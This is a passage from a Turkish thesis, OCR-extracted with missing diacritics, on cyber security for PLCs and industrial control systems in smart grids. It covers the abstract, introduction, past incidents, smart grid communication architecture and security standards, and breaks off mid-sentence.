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OZET

Akillr sebekeler basta olmak tizere kritik altyapilarin kontroliinde kullanilan Endiistriyel
Kontrol Sistemleri (EKS), gelisen bilim ve teknolojiyle birlikte verimlilik, ekonomi, siirat,
cografi olarak dagitik yapilarin kontrolii gibi insan hayatin1 kolaylagtiran etkenler
nedeniyle, izole bir ag mimarisinden dis aglara, 6zellikle internete, acik bir mimariye hizl
bir gecis yapmustir. Bu gegcisle birlikte, EKS’ye 6zgii protokoller yetersiz kalmis ve karma
protokoller (TCP/IP-Modbus, vb.) kullanilmaya baslanmistir. Bunun sonucunda EKS’ye
Ozgii zafiyetlerin yaninda internet ve yeni protokollere 0zgli zafiyetlerde kontrol
sistemlerini tehdit etmeye baslamistir. Is siirekliliginin 6ncelikli oldugu EKS’de, ariza
ve/veya kesinti olma ihtimali diisiincesiyle yama/giincellemeler ihmal edilebilmekte,
benzer endiseler nedeniyle bu sistemlerin giivenligine iliskin degerlendirme
yapilmamaktadir. Bu c¢alismada EKS’nin en 6nemli bilesenlerinden biri olan PLC’lerin
siber gilivenlik analizinin yapilmasi hedeflenmistir. Calismada olusturulan sinama
ortaminda Siemens S-7 1200 (Firmware 2.2) PLC cihazinin gilivenlik/agiklik analizleri
gergeklestirilmistir. Oncelikle PLC’lere hedef odakli saldirilar (MitM, DoS, Baslat/Durdur)
gergeklestirilerek, saldirilarin donanimlara ve sisteme olan etkisi incelenmis, miiteakiben
sisteme ilave yik getirmemesi i¢in aynalama teknigi kullanilarak yakalanan saldir
paketleri analiz edilmistir. Tespit calismalarinda saldirilara 6zgii patern ve imzalar
olusturularak benzer davranislari sergileyen saldirilarin engellenmesi ve sistemin zarar
gormemesi hedeflenmistir. Saldirilardan korunmak amaciyla olusturulan kural tablolari,
bilinyesinde cesitli saldir1 tespit ve onleme sistemlerini (Snorby, Snort ve Suricata, vb.)
barindiran ve endiistriyel sistemlerde kullanilmayan Debian tabanli Smoothsec Linux
dagitimina eklenmistir. Analiz sonuglari, PLC’lerin saldirilara karsi savunmasiz
olduklarini, agin siirekli izlenmesi basta olmak {izere, a§ bdliimlendirmesi, sifre koruma
tekniklerinin uygulanmasi ve kurumsal bilgi gilivenligi farkindaligi saglanmanin hayati
onem tasidigini gostermistir. Caligmanin EKS giivenligine dikkat c¢ekecegi ve benzer
caligmalara 6dnemli katkilar saglayacagi degerlendirilmistir.

Bilim Kodu : 92403

Anahtar Kelimeler : Akilli sebeke, endiistriyel kontrol sistemleri, PLC, testbed, siber
giivenlik, aciklik analizi, saldir1 paterni, ag trafigi analizi, saldir1
tespiti, bilgi giivenligi farkindalig1
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ABSTRACT

Industrial Control Systems (ICS) used to control critical infrastructures, notably smart
grids, have made a rapid transition from an isolated network architecture to an architecture
connected to external networks, especially Internet, because of the factors that facilitate
human life such as efficiency, economy, speed and controlling geographically distributed
structures. With this transition, EKS-specific protocols became insufficient and hybrid
protocols (TCP / IP-Modbus, etc.) have begun to be used. As a result, besides the
vulnerabilities inherent in the ICS, new vulnerabilities have emerged and began to threaten
the control systems. In ICS, where business continuity is prioritized, patches / updates may
be neglected due to the possibility of breakdown and / or interruption, and there is no
evaluation of the security of these systems due to similar concerns. In this study, carrying
out of cyber security analysis of PLCs, one of the most important components of ICS, is
aimed. The security / vulnerability analysis of the Siemens S7 1200 (Firmware 2.2) PLC
device was performed in the test bed created in the study. Initially, target-oriented attacks
(MitM, DosS, Start / Stop) were carried out on the PLCs, the effects of the attacks on the
hardware and the system were examined and then the attack packets captured using the
mirroring technique to avoid additional load to the system were analyzed. It was aimed to
prevent similar attacks and to protect system with creating attack patterns and signatures in
detection activities. The rule tables created to protect against attacks were added to the
Debian-based Smoothsec Linux distribution, which contains various intrusion detection
and prevention systems (Snorby, Snort and Suricata, etc.) and is not used in industrial
systems. The results of the analysis show that PLCs are vulnerable to attack, so notably
continuous monitoring of the network, network partitioning, application of password
protection techniques, and awareness of enterprise information security are crucial. It is
assessed that this novel approach will draw attention to security of ICS and provide
significant contributions to the research on the security analysis of industrial control
systems.

Science Code : 92403
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KISALTMALAR

Bu ¢alismada kullanilan bazi kisaltmalar, agiklamalari ile birlikte asagida sunulmustur.

Kisaltmalar Aciklama

ADACS Otonom bilesen tabanli politika tanim kontrol
sistemlerinde anormal izleme dili
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1. GIRIS

Ik caglarda taslarla sopalarla savasan insanlar belirli bir zaman sonra grup, kabile ve
devlet diizenine girmis, savas aletleri de tas ve sopalardan kiliglara, kalkanlara ve silahlara
doniismistiir. Tarihimizin konvansiyonel savaslar1 (diinya savaslari) ise, farkli 6rnekleri
mevcut olsa da (Kurtulug Savasimiz) yine muharebe meydanlarinda asker, ugak, top, tank
gibi sahip olunan unsurlarin sayica daha fazla oldugu tarafin kazandigi (simetrik)
savaslardir. S6z konusu savaglar iilkeler icin olduk¢a maliyetli ve savasan taraflar1 her
yonden zarara ugratan durumlardir. Ama giiniimiizde hasim olarak kabul edilen iilkelere
zarar vermek icin s6z konusu savaglara ve bu savaslar i¢in ihtiya¢ duyulan maliyete ve
insan giiciine hi¢ gerek yoktur. Artik ¢cok az bir maliyetle, iyi motive edilmis insanlarla
hedef iilkenin tespit edilen kritik bir veya birden fazla altyapisina islevsiz birakmak amaciyla

siber ortamda saldirarak, meydan muhaberesi ile verdirilemeyecek kadar zarara ugratilabilir.

Bilgi ve iletisim alaninda yasanan gelismeler 6zellikle internetin de yayginlasmasina paralel
olarak diger sektdr ve alanlarda da gelismelere yol agmistir. Internetin yaygilasmasi artik

2

tiim olgularin elektronik yani “e-” kavramu lizerinde gergeklestirilmeye baslanmasina yol
acmustir. Bu gelismeye paralel olarak, verimlilik, siirat, uzaktan yonetim gibi hayatimiz1
kolaylastiran etkenler nedeniyle akilli sebekeler hayatimizdaki yerini almaya baglamistir.
Akilli sebekelerde dahil olmak iizere, toplumlar i¢in hayati 6nemli olan kritik altyapilarin
yonetiminde olan EKS (Elektronik Kontrol Sistemleri)’de, bu gelismelere karsi koyamamis

aksine biitlinlesmistir.

EKS’ler, niikleer tesisler, enerji tiretimi, su, ulagim gibi son derece kritik altyap1 sistemleri
icin geleneksel uygulamalarin &tesinde yaygmn bir kullanim elde etmistir. Internet
kavraminin tiim kontrol sistemlerine dahil olmasi ile tehdit ortami degismistir. Mobil ag
tizerinden siiregleri izleme ve kontrol etme konusundaki son ilgi ve yetenekler, sistemlere
daha cesitli noktalardan giris 6zelligi eklemistir. Sonucta siber giivenlik tehditlerine ve
saldirilarina kars1 yeterli koruma saglayabilecek etkili stratejilerin ihtiyaglar1 ortaya

cikmustir.

EKS’nin kullanimi, artan endiistriyel siire¢ otomasyonu, diisiik isletme maliyeti ve kiiresel
ekonomideki biiylimenin bir sonucu olarak artmugtir. S6z konusu artisa paralel olarak, 2022

yilinda yatirnmin 13.43 milyar dolara ulagsmasi beklenmektedir. EKS, 19601 yillarda



kullanilmaya baslandiktan sonra teknolojideki degisimlerle birlikte biiyiik bir gelisme ve
degisim yasamustir. EKS, ana birime dayali istemciden, ¢evre birimlerinden ana birime veri
gondermek i¢in merkezi iletisim protokollerini kullanan istemci / sunucu sistemlerine
doniismiistiir. Nesnelerin Interneti (IoT), Internet'e bagli EKS sensérii ve cihazlari
cogalmasiyla birlikte EKS, bagimsiz bir sistemden Internet'e bagl uzaktan erisilebilir bir
sisteme doniismektedir. Bu siiregle birlikte, EKS bilgisayar korsanlari igin ¢ekici bir hedef

haline gelmistir [1, 2].

Olgeklenebilirlik, daha iyi iletisim protokolleri, verimlilik, maliyet etkinligi, bilesenler
arasinda birlikte calisabilirlik [3] ve uzaktan erisim dahil olmak iizere Internet erisiminin
bir¢cok faydasi vardir, ancak EKS hi¢bir zaman ag baglantisi ve giivenlik yoni diisiiniilerek
tasarlanmamustir [2, 4]. Ciinkii EKS’de, giivenlikten ziyade her zaman giivenilirlik ve bir
ifadeyle siireklilik iizerinde durulmus ve 6zel standartlar kullanilarak koruma saglanmaya
calisilmigtir [5]. Ancak, 1990'lardan beri kontrol sistemleri bilgisayar aglari ile biitiinlesmis
ve ayn1 zamanda EKS’de daha fazla hazir ticari iirlinler (Commercial off the shelves-
COTS) kullanilmaya baslanmistir [6]. Bunun sonucunda, EKS sunucusu ve kullanici
arayiizlerine artik bir saldirgan igin bircok giris noktas1 saglayan Internet ve hiicresel aglar
lizerinden erisilebilir hale gelmistir. internet ve hiicresel ag baglantisi, giivenlik agiklar:
olarak bilinen web teknolojileri gibi acik standartlarin yani sira, bir saldirganin SCADA
aglart hakkinda derinlemesine bilgi sahibi olmasini ¢ok kolay hale getirmektedir.
Giliniimiizde ¢ogu EKS haberlesme protokolii, mesaj kimlik dogrulamasi icermez ve sadece
diiz metin kullanmaktadir. Bunun sonucunda da o6rnegin ortadaki adam (Man in the
Middle-MitM) saldirisina karsi daha savunmasiz hale gelmistir [7-9]. EKS’nin hibrit
protokollerini kullanmasiyla da, TCP / IP protokollerine 6zgii giivenlik agiklart da EKS

icin yeni tehdit ortamlarinin ortaya ¢ikmasina neden olmustur.

SCADA sistemleri tizerindeki siber saldirilar biiylik bir artigla devam etmektedir [10].
Genel teknoloji farkindaligy, licretsiz bilginin yaygin olarak kullanilabilirligi ve kotii niyetli
unsurlarin varligi, bu tiir saldirilar1 daha kolay ve olas1 hale getirmektedir. Bu kapsamda,
siber saldirmin engellenmesi ve siber saldirilara karsi savunmayi giiglendirerek yeterli
Onlemlerin alinmasi acil bir ihtiyactir. EKS’ye fiziksel erisimin simirlandirilmasi,
kriptografi, yama yonetimi, kurum ve {iretim sistemlerinin ayrilmasi (ag boliimlendirmesi)
gibi genel siber giivenlik dnlemleri, Giivenlik Duvar1 ve Erisim Kontrol Listeleri (Access

Control List-ACL) uygulanan yontemlerden bazilaridir. Bununla birlikte, s6z konusu



giivenlik uygulamalar1 geleneksel bilisim sistemlerinde gosterdigi basar1 ve etkiyi EKS
sistemlerinde gosterememektedir [11]. Bu nedenle, EKS’ye 6zgii karakteristikler dikkate
alinarak giivenlik énlemleri planlanmali ve uygulanmalidir. Ornegin, bilgi teknolojilerinde
uygulanan Bilgi Giivenligi karakteristikleri gizlilik, bitiinlik ve kullanilabilirlik
(Confidentiality, Integrity, Availability-CIA) iiclemesi seklinde siralanirken, EKS’de bu
siralama kullanilabilirlik, bitiinliik ve gizlilik (Availability, Integrity, Confidentiality-AlC)
olarak degismektedir.

EKS projelerinin, isletmeye alindiktan sonra uzun yillar boyunca yama ve giincellemeye
ihtiyag duymadan kesintisiz bir sekilde ¢calismasi beklenir [12]. Buda, yoneticilerin yeterli
koruma ve siirekli sistem ¢alismasi saglamas1 arasindaki bir ikilemi ortaya ¢ikartir. Yazilim
giincellemelerinin ve yamalarmin uygulanmasi, sistemin yiiriitme ortamina degismeden
caligmasini siirdiirme istegi nedeniyle genellikle ertelenmektedir [13]. Clinkii yamalar ve
antiviriis uygulamalar1 gibi giivenlik 6nlemleri, iletisimin yavaslamasi ya da sistemin
normal ¢alismasimin engellenmesi basta olmak iizere istenmeyen sonuglara yol agabilir.
Sonugta, bu sistemlerin operasyonel dogasi, sistemi isletmeye alma esnasindaki siber
giivenlik testlerini engellemektedir. Bu nedenle, sistemlerin giivenlik durumlari

belirsizligini korumaktadir.

Bilinen bir kisi veya kurulustan oldugu iddia edilen sosyal miihendislik saldirilari, Stuxnet
orneginde oldugu gibi bir sisteme sizmak i¢in kullanilabilir. Cogu zaman siber giivenlik
caligmalar1 digaridan gelen bir saldiriya odaklanir. Ancak giivenilir agin i¢cinden bir ihmal
veya sabotajdan kaynaklanan bir saldirinin da disaridan yapilan saldirilara nazaran ¢ok
daha tehlikeli sonuglar dogurabilecegi dikkate alinmalidir. Ornek olarak, besinci boliimde
detaylar1 belirtilen Avustralya Queensland’de yasanan ve yaklasik bir milyon litre
kanalizasyon atiginin park ve nehirlere dokiilmesine neden olan kanalizasyon kontrol
sistemi iizerindeki saldirinin kaynagi hosnutsuz bir is¢i oldugu ortaya ¢ikmustir [14].
Benzer diger bir ornek olan ve siber saldir1 diinyasinda yeni bir donemi baglatan
Stuxnet’in, aga USB cubuklarla sizmis olmasi en onde gelen olasiliklardandir. Stuxnet
kontrol sistemlerine saldiran ilk kotii amagli yazilim olmustur ve EKS giivenlik agiklarini
One ¢ikaran tiiriintin ilk 6rnegidir. Bu saldiridan 6nce, savunmasiz olmasina ragmen, izole
yapisindan dolayr SCADA sistemlerinin aktif olarak hedeflenmedigi diisiiniilmekte idi.
Stuxnet, USB cihazlar1 kullanarak yayilmis ve PLC’lerin Ladder lojik kodunu degistirerek



sisteme saldirmustir [15, 16]. Bu saldir1 teknoloji ve siire¢ yonetimi kadar insan faktoriiniin

de 6nemli oldugunu ortaya ¢ikarmistir.

Endiistriyel kontrol sistemleri, niikleer tesisler, enerji iiretimi, ulagim, su gibi kritik altyapi
sistemleri i¢in geleneksel uygulamalarin Gtesinde yaygin bir kullanim elde etmistir. Hal
bdyle olunca siber giivenlik tehditlerine ve saldirilarina kars1 yeterli koruma saglayabilecek

etkili stratejilerin ihtiyaci da ortaya ¢ikmaktadir.

Bu c¢aligmada, akilli sebekelerin merkezinde yer alan ve kritik altyapilarin yonetiminde
kullanilan EKS’lerin 6nemli bir bileseni PLC'lerin giivenlik agiklarina dikkat ¢ekmek igin
gelistirilen sinama ortaminda hedef odakli saldirilar (Port Tarama, DoS, Ortadaki Adam ve

Bagslat/Durdur) gergeklestirilmistir.

PLC’ler saha donanimlar1 olmalari nedeniyle giivenlik uzmanlari/yoneticilerinin fiziki
olarak kontrol edebilecekleri donanimlar degillerdir. Bu nedenle, PLC’lere gerceklestirilen
saldirilarin tespit edilmesi kolay degildir. Saldir1 analizleri sonucunda, PLC'lerin bu
saldirilara karst savunmasiz olduklar1 ve PLC'ler gibi kritik cihazlar igin ag

boliimlendirmesi ve sifre korumasinin hayati dnem tasidig1 gostermistir.

Calismanin tespit asamasinda, igerisinde Snort, Snorby, Barnyard, Sagan gibi ag giivenligi
araglarini i¢cinde barindiran ve saldirilarin tespiti maksadiyla gelistirilen bir Linux dagitim
olan SmoothSec sistemi kullanilmistir. EKS’nin en 6nemli gereksinimi olan siireklilige
korumak amaciyla, sisteme ek yiik getirmeden aynalama teknigi ile tiim paketlerin 6rnegi
tespit sistemine aktarilarak analizler gergeklestirilmistir. Tespit asamasinda, ag trafiginin
stirekli izlenmesinin, muhtemel saldirilarin tespit edilmesi ve miiteakiben Onlem
alinmasinda onemli katkilar saglayabilecegi goriilmiistiir. Calismada kullanilan saldiri
tespit sistemleri ve benzeri sistemler ile ag trafiginin izlenmesi, sistem normlarinin ve esik
degerinin belirlenmesi sonucu norm disindaki davranislarda sistem yoneticileri/giivenlik
uzmanlarinin uyarilmasi saglanabilecektir. Bu sayede, EKS’lerin en 6nemli giivenlik
bileseni olan siireklilik boyutu kapsaminda yasal paketlerin geciktirilmeden gonderilmesi
ve engellenmemesi saglanirken, kotiiciil paketlerin sisteme sizmasi ve zarar vermesi

Onlenebilecektir.



Calismada ayrica, toplumlar i¢in hayati 6nemli olan kritik altyapilar ve akilli sebekelerin
yonetiminde kullanilan EKS’lerin 6nemli bilesenlerinden olan PLC’lerin agiklik analizine
odaklanilmistir. Bu amagcla, akilli sebeke altyapisi, haberlesme aglari, akilli sebeke
giivenligi gereksinimleri ve karsilagilan zorluklar, uluslararasi akilli sebekelerle ilgili
giivenlik standartlar1 Bolim 2’de agiklanmistir. Bolim 3°de, en yaygin EKS tiirleri
SCADA ve DCS, bilgi teknolojileri ile EKS arasindaki farklar, EKS’de hazir ticari iiriin
kullanimi, EKS’de yasanan giivenlik olaylari, EKS’de yama ve giincelleme ve PLC
giivenligi ile EKS giivenligine yonelik yapilan benzer ¢alismalara yer verilmistir. Bilgi
giivenligi farkindaligi anketinin yer aldigt EKS calisanlarinda bilgi giivenligi
farkindaligina Bolim 4’de deginilmistir. PLC agiklik analizine yonelik saldirilar ve
saldirilarin tespitine yonelik analiz sonuglari ve ¢ikarimlar Boliim 5’de sunulmustur.

Boliim 6°da sonuglar ve Onerilere yer verilmistir.






2. AKILLI SEBEKELERDE SIiBER GUVENLIK

Biiytik bir siiratle gelisen teknoloji, elektrik dagitim sistemleri ile haberlesme aglarini iki
yonlii enerji ve bilgi akismin saglandigi bir formda birlestirerek akilli sebeke olarak
tamimlanan bir altyapiyr olusturmustur [17]. S6z konusu biitiinlesme sayesinde enerji
otomasyon sistemleri eskimis ve atil durumdaki teknolojilerden gelismis haberlesme
teknolojilerine ge¢mis, ayn1 zamanda izole kontrol sistemlerini acik veri aglart haline
getirmistir [18]. Bir akilli sebeke; yiiksek dogrulukla gii¢ akist kontrolii, kendi kendine
onarim saglayan (self-healing) ve enerji giivenirliligi ve sayisal haberlesmeyi ve kontrol
teknolojilerini kullanan, bir elektrik aginin yeni formudur. Yeni teknoloji {iriinii haberlesme
yeteneklerinin giic sebekelerine kazandirilmasi vasitasiyla akilli sebekeler daha etkin,
esnek, yonetimi ve isletimi daha uygun hale gelmistir. Akilli sistemler ve aglar1 igin
gelistirilen dagitik anlayis ve genis bant yetenekleri gibi yeni yetenekler onemli oranda
etkinligi ve giivenirliligi saglamistir [19]. Akilli sebekelerin cografi genis yapist ve kapsami
dikkate alindiginda, kritik altyapilarin yonetiminde de kullanilan akilli sebekelerin siber
giivenlik acikliklarinin da oldukga fazla olmasi kaginilmazdir. Bu nedenle, tiim otorite
kurumlarinin da kabul ettigi lizere akilli sebekelerde meydana gelebilecek giivenlik

ihlallerinin sonuglari da hayati 6nemli olacaktir [20].

Genel bir akilli sebeke haberlesme sistemi, elektrik santrallerini ve alt bilesenlerini yoneten
bolgesel kontrol merkezlerinin yatay bilesiminden olugmaktadir. Bir akilli sebeke
haberlesme sistemi, veri toplama ve elektrik dagitimimin kontrolii islemlerinin
gerceklestirdigi katmanlt bir mimari yapisina sahiptir. Bolgesel kontrol merkezleri
genellikle dl¢lim sistemlerini, gii¢ sistemi isletme veri yonetimi, gili¢ pazari islemlerini, giic
sistemi faaliyetlerini ve veri edinimi kontroliinii desteklerler. Trafo merkezleri; Uzak
Yénetim Birimlerini (Remote Terminal Units-RTU’s) ve devre salterlerini, Insan Makine
Arayiizlerini  (Human  Machine  Interface-HMIs),  haberlesme  donanimlarini
(anahtarlayicilar, yonlendiriciler), log sunuculari, veri toplayicilar1 ve protokol ag gecidini
(gateway) icerir. Akilli Elektronik Cihazlari (Intelligent Electronic Device- IEDs), bir dizi
dontistiiriicti araci, kilavuz degistiriciler, devre sonlandiricilari, faz 6lgtim birimlerini (Phase

Measuring Units-PMUs) ve koruma rolelerini igeren saha donanimlaridir [21].

Mevcut siber giivenlik ¢oziimleri, internet gibi kamusal veri haberlesme sistemlerinde

calisan akilli sebeke haberlesme sistemlerinin ihtiyacini karsilayamamaktadir. Ciinkii ticari



ag sistemleri ile kiyaslandiginda, akilli sebekelerin siber giivenlik hedefleri, amaclar1 ve
yontemleri tamamen farkhidir. Akilli sebeke haberlesme sistemlerinde ger¢ek zamanl
performans ve devam eden siire¢ 6zelliklerinin saglanmasi1 gerekmektedir. Bu ozellikler
genel ticari aglarin tasarim gereklilikleri arasinda yer almamaktadir. Bu nedenle ticari
aglarda bulunmayan ve akilli sebeke aglarmnin ihtiyact olan gereksinimlerin de eklenmesiyle

akilli sebekelerde siber giivenlik hedefleri saglanabilir [22].

Akillr sebeke haberlesme altyapist gibi karmagik sistemlerin giincellemesi de yeni giivenlik
acikliklarinin ortaya ¢ikmasina neden olabilmektedir. Bu nedenle, akilli sebekelerde dikkat
edilmesi gereken hususlardan birisi de giivenli sekilde sistem giincellemelerinde, sistem
bilesenleri tarafindan dogrulama sorularimin (kod, model, seri numarasi, vb.) kullanilmasi
gerekmektedir. Baumeister gergeklestirdigi calismada, akilli sebeke siber giivenligine
yonelik genel bir degerlendirme yapmustir. Calisma da, akilli sebeke bilesenleri 5 kategoride
gruplandirilmistir. Bunlar: Siire¢ kontrol Sistemi, Akilli Saya¢ Giivenligi, Gii¢ Sistemi
Durum Degerlendirme Giivenligi ve Giivenlik Analizleri i¢in Akilli Sebeke Simiilasyonudur
[23]. Ancak akilli sebekeler oldukga biiyiik karmasik sistemlerdir ve bu nedenle birgok

bilesenine yonelik dnemli siber giivenlik tasarimi ¢alismasina ihtiya¢ duymaktadir.

2.1. Akilli Sebeke Altyapisi

Bir akilli sebeke haberlesme sistemi birgok alt sistemden olusmaktadir. Diger bir ifadeyle
birgok alt agdan olusan bir agdir. S6z konusu alt sistemlerden en 6nemlilerinden birisi de,
akillr sebeke sistemlerinin merkezinde bulunan EKS ¢oziimiidir. EKS, akilli sebekelerde
sadece bir kontrol sistemi degil, ayn1 zamanda bir haberlesme sistemidir. Akilli sebeke
sistemlerindeki haberlesme aglari; karasal mobil telsizleri (Land Mobile Radios-LMR),
hiicresel haberlesme, mikrodalga, fiber optik, giic sebeke haberlesmesi (Power Line
Communication-PLC), RS-232/RS-485 seri hatlar gibi kablolu hatlari, kablosuz yerel alan

aglarmi veya ¢ok yonlii veri aglarini igerir [24].

Bir EKS, genel olarak algilayicilar ve diger donanimlar ile sahadan aldig: bilgileri bir araya
getirir, isler, ilgili birimlere iletir, merkezi biriminde goriintiiler ve son olarak da ihtiyag
halinde saha donanimlaria kontrol mesajlar1 gonderir. EKS aglar1 uzak sahalardan verileri
alir ve kontrol istasyonu araciliiyla kontrol mesajlar1 gonderir. Saha bilgileri genellikle

Ana Terminal Birimleri (Master Terminal Units-MTU) tarafindan goriintiilenir.



Giintimiizdeki EKS MTU’su yiizlerce Uzak Terminal Birimi (Remote Terminal Unit-RTU)

olarak bilinen saha donanimini izleyebilmekte ve kontrol edebilmektedir.

Dagitim otomasyonu, ortalama gerilim degerlerinin uzaktan kontrolii, yliksek giivenirlilikte
tedarik ve diisiik maliyetle islem ve idame EKS ile saglanmaktadir [25]. EKS i¢in Dagitik
Ag Protokoli 3 (Distributed Network Protocol 3- DNP 3), Genel Nesne Tabanli Trafo
Aktiviteleri (Generic Object Oriented Substations Events - GOOSE), IEC 61850 ve IEC
608750-5 gibi standartlar gelistirilmis olsa da, tutarli giivenlik ¢oziimlerinin uygulanmasi

icin yeterli standardizasyon saglanabilmis degildir [26].

2.2. Haberlesme Aglar:

Akilli sebekelerde haberlesme aglari, elektrik sistemi otomasyonu uygulamalarini
gerceklestirilebilecek bir ag yapisinda olmasi gerekmektedir. Bu agin maliyet-etkin ve
giivenilir bir ag mimarisinde tasarlanmasi hayati Onemlidir. Giingdér ve Lampert
calismalarinda, elektrik sistemi otomasyonu i¢in melez ag mimarisinin fayda ve
mahsurlarini incelemislerdir. Calisma kapsaminda, Internet tabanli Sanal Ozel Aglar
(VPNs), giic sebekesi haberlesmesi, uydu haberlesmesi ve kablosuz haberlesme (kablosuz
algilayict aglari, WIMAX ve kablosuz melez aglar) sistemleri incelenmistir. Calisma,
heterojen elektrik sistem otomasyonu uygulamalarinin gereksinimlerini destekleyen melez

ag mimarisi hakkinda 6zet bir arastirma saglamaktadir [27].

Farkli olcek ve yapilardaki akilli sebeke sistemlerine farkli haberlesme agi ¢oziimleri
uygulanabilmektedir. Ornegin, Gelismis Saya¢ Altyapist  (Advanced Metering
Infrastructure-AMI) ¢oziimleri, kisa yerel kapsamalar veya uzun menzil haberlesme igin

melez veya ugtan uga yapida olabilmektedir [28]. Ciinkii AMI;

» Akilli 6l¢tim saglar,
 Evdeki uygulamalardan enerji tiiketim verilerini toplar,
* Evdeki Enerji Dagilim1 hakkinda bilgilendirerek karar verme siirecine destek saglar,

» Komsu Alan Ag1 (Neighborhood area Network-NAN) icin bir gegit saglar.

AMI haberlesme vasitalari ise; kablolu haberlesme i¢in, Ethernet, gii¢ hatt1 tasiyicisi (Power

Line Carrier-PLC); kablosuz haberlesme i¢in de 802.11, Bluetooth ve ZigBee
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teknolojileridir. AMI enerji tikketimine ve ihtiyaglarin uygunluguna gore sistem bilesenlerini

gruplara ayirmaktadir. Bu gruplar ve AMI’ye gonderdikleri bilgi mesajlar1 asagidaki gibidir;

* 1. Grup: Diisiik enerji tiiketen donanimlardir (lambalar, laptop sarji, telefon sarji, TV, vb.).
AMTI’ye sadece elektrige baglandiginda veya baglanti kesildiginde mesaj gondermektedir.

» 2. Grup: Yiiksek kullanilabilirlik gerektiren yiiksek enerji tiiketen donanimlardir (firinlar,
ocaklar, buzdolab1). AMI’ye gii¢ kullanim miktar1 ve siiresini gondermektedir.

+ 3. Grup: Disiikk kullanilabilirlik gerektiren yiiksek enerji tiiketen donanimlardir
(klimalar, ¢amasir makinasi ve kurutucu, bulagik makinesi). AMI’ye belirlenmis bir
miktar ve belirlenmis bir siire i¢in enerji kullanim talebini gondermektedir. AMI gelene
talebe, elektrik fiyatlandirmasi ve uygunluga gore evet/hayir cevabini vermektedir.

* 4. Grup: Elektrikli araglardir (6zellikle elektrikli arabalar). AMI, belirlenmis bir zaman

araliginda araglarin sarj edilmesini planlamaktadir [29].

Geri tagima (backhaul) ¢6ziim Onerileri ise, fiber, kablosuz genis bant veya giic sebekesi
tizerinden genis bandi kapsamaktadir. Kablosuz haberlesme ¢oziimleri verilen hizmetin
gerekliligine gore lisansli veya lisanssiz olabilmektedir. Ancak yiiksek giivenirlilik
gerektiren altyapilarda (Ozellikle kritik altyapilarda), lisansli ¢oziimler tercih edilmesi
gerekmektedir. Yukaridaki ¢6ziim Onerilerinin cesitli yonlerden avantaji ve dezavantaji
bulunmaktadir ancak tim ¢6ziim Onerilerinin sahip olmasi gereken temel prensip ise

olgeklenebilir giivenlik ¢oziimiine ihtiya¢ duyulmasidir [30].

2.3. Akill Sebeke Kurulumu

Akillr sebeke kurulumlart siki glivenlik gereksinimlerini karsilayacak sekilde yapilmalidir.
Tiim kullanicilar ve sebeke hizmetlerini etkiyebilecek donanimlar i¢in giicli kimlik
dogrulama gerekmektedir. Bu amagla, ¢ok biiyiik sayilari (binlerce) bulabilen kullanicilar
ve donanimlarin giivenliginin saglanmasi igin simetrik anahtarlarin kullanilmasi ise oldukga
maliyetli ve giivensizdir. Bu nedenle genis aglar i¢in anahtar ve giiven yonetim sisteminin
olusturulmasi ihtiyact ortaya cikmistir. Cogunlukla Acik Anahtar Altyapisina dayanan
(Public Key Infrastructure-PKI) giiven yonetim sistemleri, akilli sebekelerin giivenligi i¢in
olusturulan standartlarin ve kilavuzlarin gereksinimlerini karsilayacak sekilde diizenlenerek

kullanilmasiyla kullanict dogrulama giivenlik gereksinimi saglanabilir.
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PKI sistemi acik anahtarlar ile kullanicilarin kimliklerini sayisal sertifikalar iizerinden
iliskilendirir. Bu iligkilendirme (atama) genellikle kayit otoritesi tarindan gerceklestirilir.
Belgelendirme yetkilisi tarafindan da kullanicilara sayisal belgeler dagitilir. Bu sayede
kullanict ya da donamim kimlik dogrulamasi yaparken bu sayisal belgeleri kullanarak

oturum anahtari olusturur ve sirastyla sifreleme ve ¢6zme islemlerini yapabilir [31].

2.4. Akilh Sebeke Giivenligi Gereksinimleri

Bir akilli sebekenin giivenirliligi, kontrol ve haberlesme sistemlerinin giivenirliliine
dayanmaktadir. Haberlesme sistemleri teknolojilerinin de daha iyi kontrol ve yiiksek
giivenirliligi saglamak i¢in daha karmasik hale gelmesiyle birlikte, akilli sebekeler yeni
ozellikleri desteklemek icin daha yiliksek derecede dis aglara 6zellikle de internete baglanti
ihtiyact duymaya baslamistir. Ancak s6z konusu disa aglara baglilik beraberinde siber
giivenlik acikliklarini ve ihlallerinin olusmasina neden olmaktadir. Bu nedenle, s6z konusu
baglantilar, siber giivenlik gereksinimleri kapsaminda gelistirilen ¢esitli standartlarin

gerekliliklerini yerine getirmeleri gerekmektedir [32].

Elektrik Gii¢ Arastirma Enstitiisii (Electric Power Research Institute-EPRI)’ne gore akillt
sebekelerin diizenlenmesinde karsilagilan en biiylik zorluk sistemlerin siber giivenligiyle
ilgilidir [33]. Akill1 sebeke haberlesme giivenligi kapsaminda ¢alisan gesitli kuruluslar ve bu
kuruluslar tarafindan olusturulan ¢esitli standartlar bulunmaktadir. Kuzey Amerika Elektrik
Emniyet Kurumu- Kritik Altyapr Koruma (North America Electric Reliability
Coorporation- Critical Infrastrusture Protection-NERC-CIP) [34], Uluslararast Otomasyon
Kurumu (International Society of Automation-ISA) [35], IEEE 1402, Ulusal Altyapi
Koruma Plan1 (National Infrastructure Protection Plan-NIPP) [36] ve Ulusal Standartlar ve
Teknoloji Enstitlisii (National Institute of Standards and Technology-NIST) [37] basta
olmak {izere diinya genelinde bir¢ok kurum ve kurulus, akilli sebekelerin siber giivenlik

programlar1 konusunda ¢aligma yapmaktadir.

Bu kuruluslarin yaninda, akilli sebekelerin haberlesme sistemlerini gelistirirken ayni
kapsamda gelistirilen ISO 17799 (27000 ailesi), Federal Bilgi isleme Standardi (Federal
Information Processing Standard-FIPS) 201, NIST ve diger kurumlarin gilivenlik
standartlarin1 dikkate alinmasi, daha giivenli, tutarli ve Ol¢eklendirilebilir sistemlerin

kurulmasinda olduk¢a onemlidir [38]. S6z konusu standartlarin igerigi incelendiginde,
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sebekelerin giivenliginin kimlik dogrulamaya, yetkilendirmeye ve sifreleme (gizlilik)
teknolojilerine dayandig1 goriilmektedir. Ozellikle sifreleme teknolojileri oldukca gelismis
durumdadir. Ornegin FIPS, Gelismis Sifreleme Standard: (Advanced Encrpytion Standard-
AES) [39] ve Uglii Veri Sifreleme Standardimi (Triple Data Encyrption Standard-3DES)
[40] glglii giivenlik ve yiiksek performans saglamasi nedeniyle onaylamaktadir. Ancak
sifreleme teknolojilerinin se¢imi daha ¢ok korunmasi gereken haberlesme sisteminin
kritikligine ve risklerine gore degigmektedir. Ciinkli gelisen yeni saldir1 teknikleri ve
saldirganlarin engin kaynaklara ulasabilmesi sonucu bu ¢oziim onerileri de yakin bir
